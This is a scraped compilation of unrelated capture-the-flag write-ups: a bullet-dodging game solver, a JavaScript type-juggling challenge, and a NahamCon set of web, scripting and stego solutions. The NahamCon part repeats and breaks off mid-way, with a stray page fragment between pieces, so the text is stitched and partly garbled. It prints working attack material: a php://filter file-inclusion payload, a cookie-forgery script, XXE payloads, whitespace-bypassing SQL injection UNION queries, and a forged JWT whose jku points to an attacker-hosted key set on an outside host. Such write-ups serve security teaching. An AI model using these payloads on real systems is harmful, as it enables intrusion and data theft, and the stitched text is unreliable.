1. Map - Map with width 40, height 20.2. Player(Marked as `p` on Map) - Player position randomly initialized with random velocity. - Player cannot move diagonally. Only `wasd`. - Player can only move one block at a time. - If no input, player keeps its velocity.3. Bullet(Marked as `*` on Map) - Bullets are spawned every 3 rounds starting with 2nd round. - Bullets can move diagonally. - Bullets can be overlapped, even when they are first spawned. - Bullets have constant magnitude of speed.4. Collision - If player/bullet collides with wall(Marked as `#`) will bounce with following [elastic collision](https://en.wikipedia.org/wiki/Elastic_collision). - Each of bullets do not collide together. They just overlap. - If player collides with bullet, game ends.
Each rounds give single point. If I get more than 120 points(pass more than 120 rounds), I win and get flag.
#### Exploit
Let me implement heuristic algorithm to dodge. The key point is that, **most of bullets can be deterministically tracked**.
First two rounds are free. No bullet is spawned. New bullet is added every 3 rounds, starting from third round(`i = 1`). Use these rounds to track player position and velocity. I can track and verify position and velocity of bullet by the following algorithm.
1. Round `3 * i`: New bullet is spawned. - If new bullet is not detected, give up tracking, meaning that overlapping occured. - If not, store new bullet position(`y1, x1`).2. Round `3 * i + 1`: New bullet moves. - If new bullet is not detected, give up tracking, meaning that overlapping occured. - If not, store new bullet position(`y2, x2`).3. Now estimate new bullet's position and velocity. - Past two positions known, so velocity(`y2 - y1`, `x2 - x1`) known. - Since velocity known, future position of new bullet can be estimated.4. Round `3 * i + 2`: Check estimated result is true. - Let new bullet position be (`y3, x3`). - Estimated position be (`y2 + (y2 - y1)`, `x2 + (x2 - x1)`) - If estimated result is false, It means that at `3 * i + 1`th round, bounce occurred during previous round. Therefore position/velocity was wrong. Recalculate postition/velocity by using position(`y3, x3`) and (`y2, x2`), so velocity(`y3 - y2`, `x3 - x2`)
By iterating above algorithm, I could mostly track all position the bullets. After knowing position and velocity of bullets, future positions are deteministic. Using determined future bullet positions, I could send control commands to avoid bullets. I easily bypassed over 120 rounds, and got until more than 150. Example map while dodging 148th round:
```########################################### ## * ** ## * * ## * * ## * * ## * * ## * ## * * ## * * ## * ## * ** * ## * * * * ## * * * ## * * * ## *p * * * ## * * ## *** * ## * * ## * * *## * * ###########################################```
I get flag:
```Defenit{dodg3_d0dg3_d0dge_d0dge_dodge}```
Exploit code: [solve.py](solve.py)
#### Other interesting solution
`for i in {1..5000}; do {python a.py >/dev/null &} ; done;`. Wait until you get very lucky :P. |
# C0llide
> A target service is asking for two bits of information that have the same "custom hash", but can't be identical. Looks like we're going to have to generate a collision?
When we go to the given website, we are greeted with the following source code:
```javascriptconst bodyParser = require("body-parser")const express = require("express")const fs = require("fs")const customhash = require("./customhash")
const app = express()app.use(bodyParser.json())
const port = 3000const flag = "flag"const secret_key = "Y0ure_g01nG_t0_h4v3_t0_go_1nto_h4rdc0r3_h4ck1ng_m0d3"
app.get('/', (req, res) => { console.log("[-] Source view") res.type("text") return fs.readFile("index.js", (err,data) => res.send(data.toString().replace(flag, "flag")))})
app.post('/getflag', (req, res) => { console.log("[-] Getflag post") if (!req.body) {return res.send("400")} let one = req.body.one let two = req.body.two console.log(req.body) if (!one || !two) { return res.send("400") } if ((one.length !== two.length) || (one === two)) { return res.send("Strings are either too different or not different enough") } one = customhash.hash(secret_key + one) two = customhash.hash(secret_key + two) if (one == two) { console.log("[*] Flag get!") return res.send(flag) } else { return res.send(`${one} did not match ${two}!`) }})
app.listen(port, () => console.log(`Listening on port ${port}`))```
## Description
For this challenge, we may post data to the `getflag` endpoint, with two inputs `one` and `two`. To get the flag back, those two inputs must collide under an unknown hash function. Another requirement is that our inputs should have the same length. As our inputs are salted, it will be difficult to find in reasonable time a real collision.
## Solution
Therefore we attack the `javascript` code itself. There are two checks performed to validate our inputs:- `one.length !== two.length`- `one === two`
If one of them is true, then we get an error message. Otherwise, the following code check if this is a collision:
```javascriptone = customhash.hash(secret_key + one)two = customhash.hash(secret_key + two)if (one == two) ...```
Here we can therefore exploit the javascript simplifications, as we can input integers for instance, which once concatenated with a string will be cast as a string. However `===` checks also the type, so if we input `'1'` and `1` (the first is a string, the second a number), we'll have `one !== two` but the hashes will be the same.
As for the length check, instead of inputing an integer we can input an array, which will also be casted as the same string using the `+` operator.
Using Postman we get the flag:
Flag: `ractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}` |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>zh3r0</span></span><span>/</span><span><span>pwn</span></span><span>/</span>free-flag<span>/</span> </div> </div>
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##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
